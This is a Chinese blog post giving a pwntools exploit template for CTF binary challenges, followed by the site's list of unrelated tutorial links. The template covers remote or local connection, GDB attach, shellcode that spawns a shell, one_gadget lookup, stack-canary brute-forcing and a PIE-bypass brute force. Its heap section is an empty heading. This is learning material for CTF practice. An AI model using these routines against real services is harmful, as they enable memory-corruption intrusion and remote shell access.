Pwn-EXP模板
时间:2022-07-27
本文章向大家介绍Pwn-EXP模板,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
EXP Template
#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"
### 远程本地连接
def ProLoc(elf_addr,libc_addr,pro_libc):
global sh,elf,libc,one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1]
prot = sys.argv[2]
sh = remote(ip,prot)
libc = pro_libc
else:
sh = process(elf_addr)
elf = ELF(elf_addr)
libc = ELF(libc_addr)
one_ggs = one_gadget(libc_addr)
### GDB调试
def debug(cmd=""):
if len(sys.argv) == 1:
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
log.progress("Leak One_Gadgets...")
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
success("info_success") # 正确提示信息
info("info_info") # 提示信息
info.progress("info_progress") # 加载信息
debug() # 加载GDB调试
"""
...EXP...
"""
sh.interactive()
if __name__=="__main__":
elf_addr = "./babyheap" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = "" # 远程Libc文件
ProLoc(elf_addr,libc_addr,pro_libc)
exp()
➜ DA1SY python exp.py <= 本地
➜ DA1SY python exp.py 192.168.10.10 22520 <= 远程 [Ip+Port]
Stack ExpTemplate
Blasting Canary
### blasting_Canary
def blasting_canary(offset,input_prompt,fw):
#距离canary的偏移量,输入提示,架构
sh.recvuntil(input_prompt+'n')
canary = 'x00'
if fw =="32":
for_num = 3
else:
for_num = 7
for k in range(for_num):
for i in range(256):
success("Canary ->"+canary)
log.info("------------- No." + str(k) + ":" + chr(i)+" -------------")
#gdb.attach(sh)
sh.send('A'*offset + canary + chr(i))
recv = sh.recvuntil(input_prompt+"n")
if "stack smashing detected" in recv:
continue
else:
canary += chr(i)
success("Canary =>"+canary)
break
return canary
# canary = blasting_canary(0x70-0x8,"Hello,Pwner!","64")
Blasting_PIE
### blasting_PIE
def blasting_pie(last_1,last_2_1,tips):
# 固定的最后1字节,固定的第3位,接收信息提示
last_2 = ["x0"+last_2_1,"x1"+last_2_1,"x2"+last_2_1,"x3"+last_2_1,"x4"+last_2_1,"x5"+last_2_1,"x6"+last_2_1,"x7"+last_2_1,"x8"+last_2_1,"x9"+last_2_1,"xa"+last_2_1,"xb"+last_2_1,"xc"+last_2_1,"xd"+last_2_1,"xe"+last_2_1,"xf"+last_2_1]
vsyscall = 0xffffffffff600000
for k in range(200):
log.info("Blow up the end of PIE No."+str(k))
for i in last_2:
payload = "A"*(0x70-0x8) + canary
payload += p64(vsyscall)*k+last_1+i
try:
#gdb.attach(sh)
sh.send(payload)
recv = sh.recvline()
if tips in recv :
continue
else:
sh.interactive()
break
except KeyboardInterrupt:
#当程序卡住不动时,CTRL+C
sh.interactive()
except:
continue
# blasting_pie("x33","xa","hello")
Heap ExpTemplate
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android gradle配置抽取合并的操作步骤
- Android BottomNavigationBar底部导航的使用方法
- Android超清晰6.0权限申请AndPermission
- Android仿微信录制语音功能
- Android仿微信语音对讲录音功能
- flutter 屏幕尺寸适配和字体大小适配的实现
- flutter传递值到任意widget(当需要widget嵌套使用需要传递值的时候)
- android 9.0 launcher3 去掉抽屉式显示所有 app(代码详解)
- 图论-多源最短路径(Floyd算法)
- Android9.0 SystemUI 网络信号栏定制修改的流程解析
- 解决Android 10/Android Q手机在后台无法正常定位问题
- C语言CGI编程入门(一)
- android RecycleView实现下拉刷新和上拉加载
- 解析Android 8.1平台SystemUI 导航栏加载流程
- Mysql系列第二十二讲 mysql索引管理详解